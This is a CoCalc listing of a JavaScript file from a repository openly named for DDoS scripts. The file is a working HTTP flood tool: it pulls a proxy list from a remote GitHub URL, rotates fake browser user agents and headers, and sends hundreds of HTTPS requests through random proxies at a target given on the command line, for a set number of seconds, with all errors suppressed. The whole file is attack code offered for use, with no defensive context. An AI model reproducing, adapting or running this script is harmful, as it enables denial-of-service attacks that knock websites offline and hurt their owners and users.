Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/GET2.js
4607 views
1
2
3
var url = require('url');
4
var fs = require('fs');
5
var https = require('https');
6
var request = require('request');
7
var zlib = require('zlib');
8
var HttpsProxyAgent = require('https-proxy-agent');
9
10
11
request.get('https://raw.githubusercontent.com/mopzaysexy/lol/main/ra', (err, res, set) => {
12
var proxies = set.match(/(\d{1,3}\.){3}\d{1,3}\:\d{1,5}/g);
13
14
process.on('uncaughtException', (err) => {});
15
process.on('unhandledRejection', (err) => {});
16
17
const userAgents = [
18
"Mozilla/5.0 (Linux; Android 9; moto g(8) play) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Mobile Safari/537.36",
19
"Mozilla/5.0 (Linux; Android 10; SM-A205G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.96 Mobile Safari/537.36",
20
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.142",
21
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
22
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
23
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"
24
];
25
26
var options = {};
27
var parsed = url.parse(process.argv[2]);
28
parsed.headers = {
29
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
30
'accept-encoding': 'gzip, deflate, br',
31
'accept-language': 'en-US;q=0.8,en;q=0.7',
32
'cache-control': 'no-cache',
33
'pragma': 'no-cache',
34
'upgrade-insecure-requests': 1,
35
'Connection': 'keep-alive',
36
'upgrade-insecure-requests': 1,
37
'user-agent': '' + userAgents[Math.floor(Math.random() * userAgents.length)] + ''
38
}
39
40
setTimeout(function() {
41
process.exit(1);
42
}, process.argv[3] * 1000);
43
44
setInterval(function() {
45
46
for (var i = 0; i < 200; i++) {
47
var options = parsed;
48
49
options.agent = new HttpsProxyAgent('http://' + proxies[Math.floor(Math.random() * proxies.length)]);
50
51
https.get(options, function(res) {
52
console.log(res.statusCode);
53
});
54
55
}
56
});
57
});
58
59